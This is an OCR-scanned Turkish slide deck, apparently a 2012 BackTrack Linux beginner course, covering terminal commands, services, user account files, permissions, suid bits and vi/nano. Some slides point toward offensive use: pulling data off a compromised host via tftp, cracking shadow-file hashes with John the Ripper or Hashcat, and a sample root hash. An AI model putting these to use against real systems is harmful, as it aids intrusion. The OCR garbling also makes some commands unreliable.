{‘\., Acces: es

& BackTrack

® inemet

m Office > > xploitation Tools

ﬂ Other
-

» & Wireless Exploitation

. Sistemde kurulu tiim
X 2 | programlarin
kategorilendirilmis
hali.
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Klavye Ayarlari

* Klavye ve dil secimi icin;
e System > Preferences > Keyboard >Layouts >
Add butonuna basilarak “Turkey” tanimlanabilir. Diger dil
secenekleri “"Remove” secenegi ile kaldirilabilir.

* Veya tek komutla anlik olarak tiirk¢e yapilabilir.
* setxkbmap tr

* Tekrar geri almak ya da klavye dil ayarini
degistirmek icin setxkbmap kullanilabilir.

* Setxkbmap us
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Terminal Komutlari Serisi - 1
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Terminal Komutlari Serisi - 1
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Linux’un en glcli oldugu taraf terminal (shell) sistemidir.

Backtrack grafik araylize sahip olsada, grafik araylizde
yapabildiginiz her seyi, hatta daha da fazlasini komut satiri
Uzerinden gerceklestirebilirsiniz.

lyi bir Linux kullanicisi —ve penetration tester- olmak igin
linux komutlarini bilmek ve kullabilmek sarttir.

Backtrack’te komut satirintagmak icin ctrl +alt + T
kombinasyonu kullanilir.

ik acilista, grafik arayiize gecis yapmak icin startx
yazdigimiz kisimda terminal’dir.

Linuxte bir cok komut parametre almaktadir.
Parametreler komut adi yazildiktan sonra bir boslik
birakilarak yazilmalidir. Genellikle parametreler “ = “
isareti ile baslamaktadir.

Linux komutlarina parametreler ile spesifik isler
yaptirabilirsiniz.
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Terminal Komutlari Serisi - 1

* En basit kural: Komutu ve ardindan alacagi parametreleri
yaz.

e Sikistigin anda “man komutismi”

omut ismi {i,-ii‘iial

PS: “man komutismi” kismi Linux Sistemlerde Yardim Almak
basliginda detaylica anlatiimistir.
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# pwd Komutu

*x root@bt: ~
File Edit View Terminal Help

~# pwd

.,AI
T~

/root

ﬂ

*  Pwd komutu, print working directory, bulundugumuz
dizini ekrana yazan komuttur.
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# man Komutu

[~ ~ x root@bt: ~/Deslitop
File Edit View Terminal Help

User Commands

Manuel ifadesinin
kisaltmasidir, linux
sistemlerde bir
komut veya yazilim

hakkinda bilgi

almayi saglar.
-L, --logical
use PWD, fFom envinonment,.even ifeit coptaifs symlir

-P, --physical

yo!

Manual page

» Linux komutlarin aldiklari parametreler hakkinda
detayli agiklamalar i¢in bu arag kullaniimalidir.
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# cd Komutu

X root@bt: ~
File Edit View Terminal Help

* cd komutu ile klasorler arasi gegis yapiimaktadir.

« ‘“cd.. " komutu ile bir Ust dizine/klasore gegis
yapllir.
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# |s Komutu

A v X rodt@Bt: -;/besl&:op
File Edit View Terminal Help
:~/Desktop# 1ls -alh
K
root 4.0K
root 4.0K

* Listeleme komutudur.Dosya/dizin listelemek ve 6zelliklerini
goruntilemek icin kullanihr.

* Parametre olarak —alh

* A =Gizli Dosyalari Goster

* L= Detayl listeleme

* H = Anlasilabilir dosya boyutu —sol Ustte ki total 8.0k-
* Daha fazlasiigin = man Is
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# cat Komutu

N | X i’odt@bi: ~/Desktbp

:~/Desktop#

* Dosya icerigini okumak ve ¢ikti gondermek igin kullanilir.
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# more Komutu

* Bir dosyanin igerigi cat komutu ile okunursa ve icerik ¢ok
uzun ise, okuma isleminin sonunda ekranda dosyanin son
satirlari bulunur. Bu sorunu asmak icin more komutu
vardir. Dosyanin basindan itibaren terminal ekranina
sigan kadari gosterilir, devam etmek icin space tusu
kullanilir.
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# less Komutu

v X root@bt: ~/Desktbp
Edit View Termi Help

* More komutu gibi bir komuttur. Dosya icerisinde kelime
arayabilir, istediginiz satir numarasina gidebilirsiniz

» /giivenlik = Diiz slash ve ardindan aranacak kelime.

* :22 =iki nokta Ust Uste ve gidilecek satir.

* Daha fazlasi igin man less
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# head Komutu

:~/Desktop# head -n 5 CTF.txt
CTF Nedir?

ige~dOKmeEKTir.

biligim givenligimde- sik kul

Bir dosyanin ilk 5 satirini ekrana yazdiran komut. —n
Parametretesi verilmez ise otomatik olaran 10 satir getirir.

-n : Dosyanin basinda itibaren kag satirin ekrana
yazdirilacagini belirtir.
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# tail Komutu

v x root@bt: ~/Desktop
File Edit View Terminal Help
5 tail -n 3

Bir dosyanin son 3 satirini ekrana yazdiran komut. —n
Parametretesi verilmez ise otomatik olaran 10 satir getirir.

-F : -n parametresi ile belirtilen say1 kadar dosya sonundan
satir okur ve her 2 saniyede bir bu olayi yeniler. Log takibi
islemlerinde gok sik kullanilir.
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# grep Komutu

* Verilen data icerisinde kelime arama komutu.
* Bu bolimde inceledigimiz en 6nemli komuttur.

* -i:Blyuk kiictk harfe duyarsiz davran.
e -r:ile dizenliifadeler -regex- kullanilabilir.
* PS: man grep
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Cikt1 Yonlendirme

* Bir komutun ciktisini, bir dosyaya yonlendirebilirsiniz.

. Bu durumda; icinde BGA
yazan kayit.txt isimli dosya
mevcut dizinde olusacaktir.

echo “BGA” > kayit.txt
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* Bir komutun ciktisini, yani outputunu, baska komuta girdi
olarak ,yani input, verebilirsiniz. Pes pese ¢oklu borulama
—piping- kullanilabilmektedir.

" | “ n

“isareti altgr + <>, veya altgr + “-” ile yapilir.

BGA.txt dosyasi cat komutu
ile okunur ama giktisi ekrana
degil, grep komutuna
aktarilir. Grep komutu “Bilgi”

kelimesinin gegtigi satirlari
cat BGA.txt | grep “Bilgi” ekrana basar.

| ] | ) | )
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* Uname Komutu

* Pentest dizini
* Hostnhame
* Network Ayarlari
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Huname Komutu

GNU/Lin

* Linux’un Kernel stirimini 6grenmek icin kullanilan
komuttur.

* Linux Kernel versiyon =3.2.5

*  Mimari =i686 mimari.

* -a=Tum bilgileri getir (all).
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Pentest Dizini

- = Dagitimin kok dizini
~ v %X root@bt: / ) o
File Edit View Terminal Help incelenecek olursa dlger
1y dagitimlardan farkli olarak
/pentest dizini goze
garpacaktir

home
initrd«img==="boot/initrdiimg-3
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Pentest Dizini

~ v X root@bt: /
File Edit View Terr
J# s -1

Bu dizin, sistemde
bulunan gogu
programin duzenli
bir sekilde yer
aldig1 ana dizindir.

Hostname

* Makine adini “hostname” komutu ile 6grenebilir ve degistirebiliriz.

A vx roo't@b't: ~
File Edit View Terminal Help

* Exit komutu ile terminal kapatilir. Ctrl + Alt + T komutu ile
terminal tekrardan agildiginda hostname degismis olacaktir.
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Network Ayarlari

~ v X root@bt: ~
File Edit View Terminal Help

(2.0.KB)

ifconfig komutu; mevcut ethernet ve/veya wireless kartlarinin bilgilerini
ekrana getirir.
Backtrack

~nov e roof@bt: ~
File Edit View Terminal Help
fig ethl 10.10.10.2 netmask 2

r 00:0c:

ifconfig eth1 10.10.10.2 netmask 255.255.0.0komutu ile Eth1 ag
arabirimine elle IP adresi verebilirsiniz.

ifconfig eth1; komutu ile tim ag arabirimlerinin yerine, belirtilen ag
arabiriminin bilgilerini ekrana getirir.
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Network Ayarlari

 ~ v x root@bt: ~
File Edit View Terminal Help

port 67
f 68.100.254
DHCPREQUE 2
DHCPACK o 9
bound to 192.

* dhclient ethl komutu ile ethl isimli ag araytizii icin dhcp servisinden
ip talep edilir.
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Servisler

* Backtrack bir glivenlik dagitimi olmasina ragmen Uzerinde
klasik Linux dagitimlarinda bulunabilecek bazi servisleri
icermektedir.

* Bunlarin amaci gesitli glivenlik testlerinde ek bilesen
olarak kullanabilmektir.
o Mesela bir sisteme sizma denemesi gerceklestirildi ve basarildi.
Sizilan sistemden tftp ile veri alinmasi gerekiyor. Bu durumda

Bakctrack lizerinde tftp servisi calistirilarak gerekli bilgiler
sunucudan kolaylikla transfer edilebilir.
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Web Servisinin Baslatilmasi

* Apache httpd servisini baslatmak icin;
* #service apache?2 start
» # /etc/init.d/apach2 restart

A v x root@bt: ~

File Edit View Terminal Help
He tc/

* Starting

* Her iki komutta web servisini baslatmak, durdurmak veya
restart etmek icin kullanilabilir.
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SSH Servisinin Baslatiimasi

* ilk olarak, ssh anahtarlari olusturulur
* sshd-generate

* Servisi calistirmak icin asagidaki komutlar kullanilabilir.
service ssh start
veya
[etc/init.d/ssh start

* Buislemler grafik arabirimdeki mendtler araciligiile de
yapilabilir.
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SSH Servisi Baslatma Sorunu

e /etc/init.d/ssh start

Could not load host key: /etc/ssh/ssh_host_dsa_key
Could not load host key: /etc/ssh/ssh_host_rsa_key

o Ustte ki hatayi aliyorsaniz asagida ki komutlari
cahstirmalisiniz.

ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
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Komut Satiri Araclarinin Kullanimi

* Backtrack’i aracglarini grafik arabirimden kullanabileceginiz
gibi komut satirindan da c¢alistirabilirsiniz.

* Mesela Wireless kategorisindeki aircrack-ng programini
calistirmak icin;

# cd /pentest/wireless/aircrack-ng/
# ./aircrack-ng
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Kullanici Hesaplari Dosyalari

* Linux isletim sisteminde kullanici bilgileri
/etc/passwd dosyasinda tutulmaktadir.

* Gruplar hakkindaki bilgiler /etc/group dosyasi
icerisinde bulunmaktadir.

» /etc/shadow dosyasi, kullanici sifrelerinin
hash’lerinin bulundugu dosyadir.

» [etc/passwd’i tim kullanicilar gorebilir.
» /etc/shadow dosyasini sadece root gorebilir .
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/etc/passwd

# 1s -lah /etc/passwd
-rw-r—--r-- 1 root root 1.4K 2011-10-23 10:38

# cat /etc/passwd

s %X root@BGA: ~

Terminal Serisi — 1
kisminda anlatilan
komutlar ile passwd
dosyasinin icerigi ekrana
yazilmistir.
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/etc/passwd dosya formati

kullanici_ismi:sifre:user_id:group_id:gecos(kullanicinin kisisel bilgileri):kullanici_dizini:kabuk
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/etc/group

# 1s -lah /etc/group
-rw-r--r-- 1 root root 777 2012-02-03 16:54

# cat/etc/group
-rw-r--r-—- 1 root root 777 2012-02-03 16:54
X root@BGA: ~

File Edit View Terminal Help
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/etc/group Dosya Formati

grup_ismi:grup_sifresi:grup_id:lye
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/etc/shadow

# 1s -lah /etc/shadow
-rw-r—-——-—-—- 1 root shadow 1.1K 2012-02-03 16:506

# cat /etc/shadow

A v X root@BGA: ~
File Edit View Terminal Help

YWF2TPhe25WSaNjcq1 lbTO/@rdg:CSIr7sh
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/etc/shadow Dosya Formati

kullanici_ismi:sifre:sp_lastchg:sp_min:sp_max:sp_warn:sp_inact:sp_expire:sp_flag

root:$6STBYsLimb$/25Ip7/UZzjl124)KgHVrg7yVQc.YWF2TPhe25WSaNjcqilbTO/Cndg.CSIr7shkadTxHwzUP2DTvmssVptL)/:15400:0:99999:7::
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/etc/shadow Dosya Formati

* sp_lastchg: Kullanicinin sifresini degistirdigi en son zaman
bilgisini saklar.
1 ocak 1970 tarihinden itibaren kac glin oldugu bilgisi

* sp_min: Kullanicinin sifresini degistirebilmesi icin gegmesi
gereken minimum zamandir.
Eger -1 degeri varsa herhangi bir zaman degistirilebilir

* sp_max: Kullanici sifresini kullanabilecegi azami glin
sayisidir.
999999 degeri varsa herhangi bir kisitlama s6z konusu
degildir
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/etc/shadow Dosya Formati

* sp_warn: Sifrenin gegerliliginin dolmadan kag giin 6nce
uyari verilecegini bildirir.
-1 degeri varsa herhangi bir uyari verilmez

* sp_inact: Sifre gecerliligi dolduktan sonra kag glin
icerisinde kullanici hesabinin pasiflestirilecegi bilgisidir.
-1 degeri varsa pasiflestiriime yapilmaz

* sp_expire: Kullanici hesabinin sona erecegi giin bilgisidir.
1 ocak 1970 tarihinden sonra kag glin oldugunu gosterir

* sp_flag: Sonradan kullanim igin distnulen ve suan aktif

olmayan bir bélimdur
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Parola Guvenlik Testleri

 Linux sistemler tuzlu hash kullandigindan
klasik parola kirma araglari ile bulunamaz

* John The Ripper ve Hashcat gibi araglar
kullanarak Linux sistemlerin parola glivenligi
test edilebilir.

* Kullanilan sifreleme/hash algoritmasinin
glicine gore kirma hizi ters orantil
degisecektir.
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Sistem Yeni Kullanici Ekleme

e Useradd veya adduser komutlari kullanilabilir

e Useradd
useradd [kullanici_ismi]

* -G parametresi ile eklenecek olan kullanicinin

grubu da belirtilebilir.
useradd -g [grup_ismi] [kullanici_ismi]
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Sistem Yeni Kullanici Ekleme

Sistemdeki kullanicilara parola vermek icin passwd
komutu kullanihr

Ornek: passwd muhasebe, passwd bga
Normal kullanici

* Normal kullanicilar parola degistirirke EeEame G

Oncelikle eski parolayi girmeleri beklenir
* Root kullanicisi parola degistirirkef
Herhangi ek bir soru sorulmaz
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Sistem Kullanici Silme

e Userdel ve deluser komutlari kullanilabilir

* Userdel
userdel [kullanici_ismi]

* -r parametresi vasitasiyla kullaniciya ait dizinde silinebilir.
userdel -r [kullanici_ismi]

# userdel -r bga “bga” kullanicisi ve

# cat /etc/passwd | grep "bga" kullaniciya ait dizin
sistemden kaldirilmistir.
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Linux Parola Guvenligi

* Linux dagitimlarinda sistem hesaplarinin parolalar
/etc/shadow dosyasinda hash+salt seklinde saklanir.

* Salt(tuz) her seferinde degisken olarak atanan bir
degerdir, bu sekile ayni parolayi iki kere girildiginde hash
degerleri farkh ¢ikacaktir.

e Parola formati
root:565GkfJ0/H/SIDtJEzDO1vh8VyDG5rnnLLMXwZI.ciku
ITgd4wtXjq98VIcf/PA2D1QsT7VHSsu46B/od41)IgENMtc8d
SpBEal
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Linux Parola Guvenligi

* root: kullanici adi

» ilk Sileikinci S arasindaki sayi hangi sifreleme/hash
algoritmasinin kullanildigini belirtir. Buradaki deger
* 1lise MD5
* 2aise Blowfish (OpenBSD)

* 5Sise SHA256
* 6ise SHA512 kullanilmis demektir.

« ikinci S ile iiciincii $ arasindaki karakterler parolanin
onceden hazirlanmis hash degerleri(rainbow table)
kullanilarak yapilacak kirma deneyimlerini zorlastirma
amachdir
* Salt degeri olarak bilinir.
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Linux Dosya Sistemi

e Linux’da Dosya Kavrami
* Dosya/Dizin Hiyerarsisi

 Dosya ve Dizin islemleri
 Dosya izinleri

* Suid bit Kavrami
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Linux’da Dosya Kavrami

* Linuxisletim sisteminde hersey bir dosyadan olusur.
Ses karti

USB Disk

Ethernet kari strlcUsu

Gahstinilabilir komutlar

o O O O O

Mp3 dosyasi
* Dosyalar cesit cesittir.
o Ikili dosyalar
o Text dosyalar
o Karakter dosyalar
O

Baglanti dosyalari(link)
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* Linux’da uzantiya gerek yoktur(.exe, .msi gibi)

* Standartlasma icin .rpm, .deb, .sh gibi uzantilar
kullanilir

* Dosya/dizin isimleri “case sensitive” dir.Blyulk
kiicik harfe duyarli.
e Text I=text |=texT

* Dosya ismi nokta ile basliyorsa gizli dosyadir.
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Dosya/Dizin Hiyerarsisi

* Linuxisletim sistemlerinde dosyalar hiyerarsik bir
yapiyla olusturulmustur.

» Hiyerarsik olarak en (st olan dosya root dosyasidir,"/"
ile belirtilir.

* Linuxisletim sistemlerinde, dosya isimlendirilmesi
yapilirken alfabetik karakterler, alt cizgi " ", rakam,
nokta, virgll kullanilabilmektedir.

* Kullanilmayan karakterler "*,?" olarak belirtilmistir.

e Dosyalarin ¢alistirilabilmesi Linux isletim
sistemlerinde uzantiya bakilmaz

o Dosya izinlerinden galisacak dosya ayarinin yapilmasiyla
her dosya c¢alistirilabilir.

o chmod +x dosya ; ./dosya
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Linux Dizin Yapisi

* Root Dizini
o Root dizini butin dosyalari binyesinde barindirir.
o ‘[’ diziniile ‘/root’ ayni degildir.
o ‘/root’ dizini, root kullanicisina ait dizindir
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Linux Dizin Yapisi

 /bin : Kullanici ve sistem yoOneticisine ait ¢alistirilabilir
dosyalari barindirir.

» /dev : Donanimlara erisebilmek icin gerekli dosyalari
barindirir.

» Jetc : Sistem konfiglirasyonlari icin gerekli dosyalari
barindirir.

» /lib :Sistem kiitiphanelerini barindirir.

» /sbin : Sistem yoneticisine ait ¢alistirilabilir dosyalari
barindirir.
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Linux Dizin Yapisi

e /home : Kullanicilara ait dizindir.

* /mnt :Sisteme disaridan baglanacak olan donanim
aygitlarinin, baglanti noktalarini belirten dizindir.

* /root : Bir sistemde en yetkili kullanici olan "root"
kullanicisina ait dizindir.

* /tmp : Gegici dosyalarin yer aldigi dizindir.

* Jusr : Paylasilan dosyalarin barindigi dizindir. Burada

calisabilen dosyalar bulunmakla beraber, dékiiman ve
programlara ait dosyalar da yer almaktadir.

* /Jvar : Sistem ve programlara ait log mesajlari, email gibi
mesajlarin bulundugu dizindir.

* /proc :Sistem hakkinda gerekli bilgilerin bulundugu sanal
dizindir.

Backtrack Linux- 101 Egitimi © 2012 |Bilgi Giivenligi AKADEMISI | www.bga.com.tr

59



Dosya Dizin Islemleri

* Dosya ve dizinler
Sifirdan olusturulabilir
Silinebilir

Degisiklik yapilabilir
Listenelebilir

© O O O O

Dosya tasima ve kopyalama yapilabilir
e Haklari degistirilebilir

o Sahibi ve grubu
* izinleri degistirilebilir

o Herkese okuma hakki ver ... gibi
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Dosya Izinleri

* Her dosyanin
o Bir sahibi vardir
o Bir grubu vardir

o Sahibi, grubu ve digerleri olmak lzere erisim izni
vardir

o Bir dosya olusturulurken default izinleri umask degeri
ile belirtilir.
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Dosya Izinleri

* Her Kullanicinin:
o UID (login ismi), gid (login grubu) ve diger gruplara
ayeligi vardir

= UID kimliginizi gosterir(Kullanici ve ID numarasi)

= GID (Grup adi ve numarasini gosterir
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Dosya Izinleri

* Linux Ug cesit dosya izni kavramina sahiptir

o Read - Dosya/Dizinlerin okunabilmesi amach kullanilir.
Dizinlerde listeleme 6zelligi olarak kullanilir.

o Write — Yeni bir dosya ya da dizin olusturmak icin
kullanilir

o Execute — Dosya calistirma ya da dizine giris hakki icin
kullanilir.
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Sayisal Olarak Dosya Izinleri

* Ornek
o chmod 777 dosya_ismi
* 7 sayisinin bit degeri (111).
o 0:000-> ---
1: 001 -> --x
2: 010 -> -w-
3: 011 -> -wx
4:100 ->r--
5:101—>r-x
6:110 -> rw-

o 7:111 ->rwx
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Dosya Izinleri

* Dosyaizinlerini detayli izleme: Is —| komutu

~TWXIWXIX-X rapsodi rapsodi 5224 Dec 30 03:22 hello
~IW-IW-I—— rapsodi rapsodi 221 Dec 30 03:59 hello.c
~IW-Iw-r-—-— rapsodi rapsodi 1514 Dec 30 03:59 hello.s
drwxrwxr-x rapsodi rapsodi 1024 Dec 31 14:52 posixuft

.n“”;ﬂ.'- oup
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Dosya Izinleriyle Oynama

 Dosya/klasor izinlerinde degisiklik yapmaya yarayan
komut.

Genelde sayisal degerlerle yapilir
4=okuma #chmod 777 bga.txt

2=yazma

1=Calistirma

# Owner=rwx roup=r-x
chmod 500 file2 # Owner=r-x  Group=--- Other=---
chmod 644 file3 # Owner=rw- Group=r— Other=r--

chmod +x file # Dosyaya herkes icin galistirma(x) hakki verir
chmod o-r file # Digerlerinden read hakkini kaldir
chmod a+w file # Herkes icin write hakki ver

Backtrack Linux - 101 Egitimi © 2012 |Bilgi Glivenligi AKADEMISI | www.bga.com.tr

Dosya izinleriyle Oynama

Ornek 2:

o chmod u+x,g+w,0-r dosya_ismi

U: kullanici
* G:grup

O: digerleri

(+): ozellik ekler

(-): 6zellik siler
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Dosya Izinleri

* Dosya izinlerini detayli izleme: Is —| komutu

Other permissions
Group permissions
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Terminal Serisi - 2

* Temel Linux Kullanimi bolimuinde ki terminal
komutlarinin devamidir.
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# mv Komutu

Dosya ve klasor isimlerini

degistirmek veya tasimak
icin kullanilan komut.

-f : Bu se¢enek vasitasiyla yapilacak
islem force edilir. Kullaniciya
herhangi soru sorulmaz.

-i : interaktif calisma

-u : Kaynak dosyanin hedef dosyadan daha giincel oldugu veya hedef dosyanin
bulunmadigi durumlarda kopyalama yapilir

#mv BGA mehmet

Backtrack Linux - 101 Egitimi © 2012 |Bilgi Giivenligi AKADEMISI | www.bga.com.tr

# cp Komutu

Dosya/klasor kopyalamak igin

/% root@BGA: ~

kU”anlllr. File Edit View Terminal Help

-r parametresiyle dizin iceri-
Sindeki her seyi tasir.

-p parametresi tasima esnasinda dosyalarin haklarini da
korur.

#cp BGA/mehmet.txt Desktop/

[ A ) | )
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# rm Komutu

Dosya/klasor silmek icin kullanilir.

Klasorleri veya ic ice klasorlerin bulundugu her seyi silmek
icin =r parametresini kullanabilirsiniz.

#rm BGA/mehmet.txt

~ w X root@BGA: ~
File Edit V Terminal Help
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# mkdir Komutu

X root@BGA: ~
File Edit View Terminal Help

* Klasor olusturmak icin kullanilan komut.
#mkdir BGA
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# chown Komutu

Dosya ve klasor haklarini |l

File Edit View Term

degistirmek icin kullanilir. [

-24 19:03 mehmet.txt
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# find Komutu

Arama komutu.

~ v X root@BGA: ~
| File Edit View Terminal Help

# find /root/Desktop/ -perm 777

Backtrack Linux - 101 Egitimi © 2012 |Bilgi Glivenligi AKADEMISI | www.bga.com.tr

# find Komutu

-type f ise file
yani dosyalari
getirir.

# find /root/Desktop/ -type d
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# find Komutu

i~ find /tmp/ -type ' d

-type f ise file
yani dosyalari
getirir.

-print ise hem
klasor hem
dosyalari
# find /root/Desktop/ -type d getirir.

Backtrack Linux - 101 Egitimi © 2012 |Bilgi Glivenligi AKADEMISI | www.bga.com.tr

# tar Komutu

tar yazilimi ile dosya sikistirma islemleri yapilir “Winrar gibi-
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H# tar Komutu
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# tar Komutu

-X: Sikistirilmis Dosya cikartilacak demektir.

-C: Dosya/Klasor sikistirilacak demektir.

-V: islem goren dosyalart listeler.

-F: Dosya/Klasor ile islem yapilacagini belirtir.
-Z: gzip formatinda sikistirilacagini belirtir.

NOT: Linuxte , Winrar ve winzip’in karsiligi olarak unrar ve
unzip isimli araglar bulunmaktadir.
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Suid bit Kavrami

* Bazi dosyalar(programlar) calistiran kim olursa olsun
sahibinin haklariyla ¢aligtirilir
* Passwd, ping
vty 1S _sw/UsSr /bin/passwd
-Twsr-xr-x=1 root root 37140 2011-82-14 17:11 /usr/bin/passwd

:-#I

* Bu programlarda ¢ikacak bir aciklik sistemi root olarak
tehlikeye sokacaktir
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Suid bite sahip dosyalari bulma

* Anlatilan find komutu ile suid bite sahibi dosyalari bulma.
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Linux Sistemlerde Yardim Almak

man(manuals)

info

internet Kaynaklari
Linux Eposta Listeleri
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MANuals

Man komutu Linux kullanicilari tarafindan

sikca kullanilan komutlardan biridir. Bu

komut vasitasi ile sistemdeki baska komutlar

hakkinda bilgi edinilmektedir.

Man komutu iki alt baslk altinda

incelenecektir

- Man komutunun genel yapisi ve sistemdeki
yerlesimi.

- Man komutunun kullanimi
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MANuals

. Man komutu, sistem Uzerinde ¢alistirilan komutlar hakkinda
daha detayli bilgi almak i¢in kullanihr.

- Man girisleri /usr/man altinda toplanir

. Kullanimi
. man komut
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MANuals

/% root@BGA: ~
File Edit View Terminal Help
FIND(1) FIND(1)

NAME

a directory hierarchy

ts] [-Olevel] [path...

Manual page find(1) line 1

#man find komutu sonucu.
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H#info komutu

.Man komutu ile ayni isleve sahiptir
.Daha ¢ok detay barindirir, daha az tercih edilir
Kullanim

-info komut_adi
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#info komutu

A B root@BGA: ~
File Edit View Terminal Help
File f

#info grep
komutunun terminalde
that match a pattern. ki goruntusu.

of GNU Grep.
, a patter

01, 2002, 2005, 2
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Internet Kaynaklari

www.cyberciti.biz
www.ubuntuforums.org
www.howtoforge.com

Linux 6gremek, bol bol “googling”
www.belgeler.org yapmakla ve linux

ipucu.enderunix.org forumlarinda/sitelerinde gezmekle
gerceklesir.

www.ozgurlukicin.com
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Metin Editorleri

Linux’te hemen hemen her sey bir dosya
icerisinde yazmaktadir.

CentOS gibi sunucu tarafli linux dagitimlarinda
grafik arayliz genelde yoktur. CentOS kurulu
makinanin web servisinin calistigl port’u
degistirmek icin yapilmasi gereken, ssh ile
baglandiktan sonra web servisinin konfigurasyon
dosyasinda dizenleme yapmaktir.

Bu noktada Metin Editorlerini kullanabilmek ¢cok
onemlidir.
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Metin Editorleri

. Nano

Kullanimi kolay olan ve hemen hemen tim linux
dagitimlarinda hazir olarak gelen metin editoriddr.

. Vi/Vim
Kullanimi daha zor olan, buna karsin harika
yetenekleri bulunan bir metin editoridur.
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Nano Editoru

Gelismis metin editoridar, pratik kullanima ve
kullanici dostu arayize sahiptir.Linux sistemlerde
varsayilan olarak kurulu gelir.

. En temel kullanimi ;

#nano dosya adi
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Nano Editori

X root@BGA: ~
Edit View Terminal Help
GNU nano 2.2.2 File: Desktop/deneme. tX

#nano Desktop/deneme.txt
Komutu ile Desktop klasoru iginde deneme.t:

dosyasi agilmistir. Windows’ta “Not Defteri”
kullanir gibi metin girisi yapilabilir.
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Metin girisi yapildiktan sonra, dosyayi kaydedip ¢cikmak
icin ctrl + W ardindan ctrl + X tuslari kullanilir.

Bu kombinasyonlar ile bir metin dosyasi lizerinde
istediginiz islemleri gerceklestirebilirsiniz.

Ctrl+X = Cikis

Ctrl+K = Satiri Kes

Ctrl+U = Satiri Yapistair
Ctrl+W = Arama yapar

Crtl+0 = Dosyayi farkli kaydet
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Gelismis bir metin editori olan vi, kullanmasi biraz zor
olan bir aractir.

Vi ilk basta karmasik gértinse de hizi ve verimi ile
her kullanicinin isini blayuk 6lglide kolaylastiracak
bir editordir. En cok kullanilan komut takimlarini
ogrendikten sonra vi ile ayni dili konusuyor
oldugunuzu goreceksiniz.
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Vi Editoru

[ ~ v x root@BGA: ~/Desktop
File Edit View Terminal Help

#vi mehmet.txt
Komutu ile, mehmet.txt dosyasi mevcut ise acilir, eger
bu isimde bir dosya yoksa, islem sonunda olusturulur.
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Vi editorunun iki adet modu vardir.
1- Insert Modu
2- Komut Satiri Modu

Insert Modu: Diizenleme yapilan dosya icinde metin
islemlerinin yapildigi mod.

Komut Satiri Modu: Acilan metin icerisinde, arama,
degistirme, kaydet, kapat gibi olaylarin
gerceklestirilebildigi mod.
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Vi Editoru

Komut Modunda en ¢ok kullanilan komutlar
sunlardir:

Komut Eylem

i Insert Moduna gegis yapar

a imlecin sonunda edit moduna geger

A imlecin bulundugu satirin sonunda edit

moduna geger

ESC Insert Modunu kapatir

u Geri Al

U Tumanu geri al

o) yeni satir a¢

dd Satir sil

/kelime "kelime" igin arama yapar

n Aranan kelimenin ilerleyerek arama
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insert modda degilken, ok tuslari ve Page Down/Up
komutlarini kullanarak metin icerisinde dolasilabilir.

Herhangi bir anda “a” harfine basilirsa, vi editori
imlecin bulundugu karakterin, bir sagina gecip
insert modda sizi bekler.

Herhangi bir anda “0” harfine basilirsa, vi editori
imlecin bulundugu satirin bir alt satirina gecerek
insert modda sizi bekler.
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Vi Editoru

i harfine basarak insert moda gecilir,artik dosya
icerisinde yazi yazilabilmektedir. insert moddan
cikabilmek icin ESC tusuna basiimalidir.

A v X root@BGA: ~/Desktop
File Edit View Terminal Help

nligi Akademisi

-- INSERT --
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insert modda iken, metin dosyasinda yaptiginiz son
degisligi geri almak icin ESC ile insert moddan
cikilmalidir. Bu durumda Komut Moduna gecis
yapilmis olur.

Komut Modundayken
“u “tusu ile yapilan son
degisiklik geri
alinacaktir.

ine less; before
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Vi Editoru

insert modda iken, metin dosyasinda karakter
silmek istiyorsaniz, klavyenizde ki “silme” tusunu
kullanabilirsiniz.

Komut Satiri modunda bu islemi yapmak
istiyorsaniz “ x “ tusu ile karakter silebilirsiniz.
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Yapilan degisiklikleri kaydetmek icin komut satiri
modundayken “:w” yani iki nokta Ust Uste ve w
tusu kullanilir.

vi editorinden cikmak icinse “:q” komutu gene
komut satirt modundayken kullaniimalidir.

v X root@BGA: ~

e Edit v Terminal Help

i |
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Vi Editoru

Komut satiri modundayken dosyanin sonuna
gelebilmek icin shift + G komutu kullanilir.

Bir satiri silmek icin seri sekilde “d” komutuna iki
kere basmak gerekir.

v X root@BGA: ~
nal Help
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Komut satiri modundayken, bulundugunuz satirdan
baslayip dosya sonuna kadar tim satirlarin silinmesi
gerekirse bir kere “ d “ tusuna basilarak silme islemi
yapilacagini belirtilir.Artik vi editori silme moduna
gecmistir ve sizden komut bekler. Ardindan dosya
sonuna gitme komutu shift + G kullanilarak tim
satirlar silinebilir.
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Vi Editoru

Vi editori icerisindeyken, terminal komutlari
calistirma ihtiyaciniz olursa,vi editori Komut Satiri
modunda bu imkani size sunmaktadir.

Komut Satiri modunda ike
:lls —al
Komutu ile bulundugumuz

dizinde ki her seyi
listeleyebilmekteyiz.
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Vi editori ile metin icerisinde kelime arama
imkanlari cok gelismistir. Vi editorl, “Dizenli
ifadeler”i —regex- kullanma olanagi sunar. Komut
Satirt modundayken “/Mehmet” komutu ile imleg,
Mehmet kelimesini ilk buldugu satira gidecektir

v %X root@BGA: ~
erminal Help
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Vi Editoru

“ [ “isareti imlecin bulundugu yerden dosya sonuna
dogru arama yapmaktadir. “ ? “ile bulundugunuz
yerden dosya basina dogru arama yapar.

Vi editori ile dizenli ifadeler yazilabilir demistik.
Ornek olarak elimizde su icerikli dosya olsun
mehmet
MeHMet
mehMEt

MEHMET
MEhmeT
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Vi editoérine Komut Satirn modundayken, “Buyik M ile
baslayip kiguk t ile biten tim satirlari sil” diyebiliriz. Bunun
icin g/Aranan Regex/d komutu kullanilir. “d” , delete’i ifade
etmektedir. Resimde ki Vi editorinin Komut Satirina
yazilan kismi inceleyiniz.

Dizenli ifadeler Linux diinyasina
ozgir bir mantik degildir.
Programlama dillerinde de gok sik
kullanilir. Ggrenmek igin;

[1]: dlizenli ifadeler
[2]:reguler expression
Google aramasi yapilabilir.
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Process —is- Yonetimi

Surec (proses) kavrami

Calisan surecleri izleme

Arkaplanda sirec calistirma

Surecleri sonlandirma
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Proses Kavrami

* Linuxisletim sistemi, ayni anda birden fazla
kullanicinin birden fazla stireg calistirmasina izin
vermektedir.

* Linux isletim sisteminin bu 0Ozelligi sayesinde
sistem calisir durumda iken lizerinde calisan birden
fazla stire¢c bulunmaktadir.

* Linuxisletim sistemi bu sureclerin kontroli ve
yonetimi icin belli araglar sunmaktadir

e Tum sistem arka planda ¢alismakta olan sirecler
sayesinde ayaktadir. Kimi stirecler girdi cikti islemleri
yaparken kimi siirecler web hizmeti verir kimisi de
kullanicilarin sisteme giris ¢ikis yapmalarini saglar...
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Calisan Prosesleri inceleme

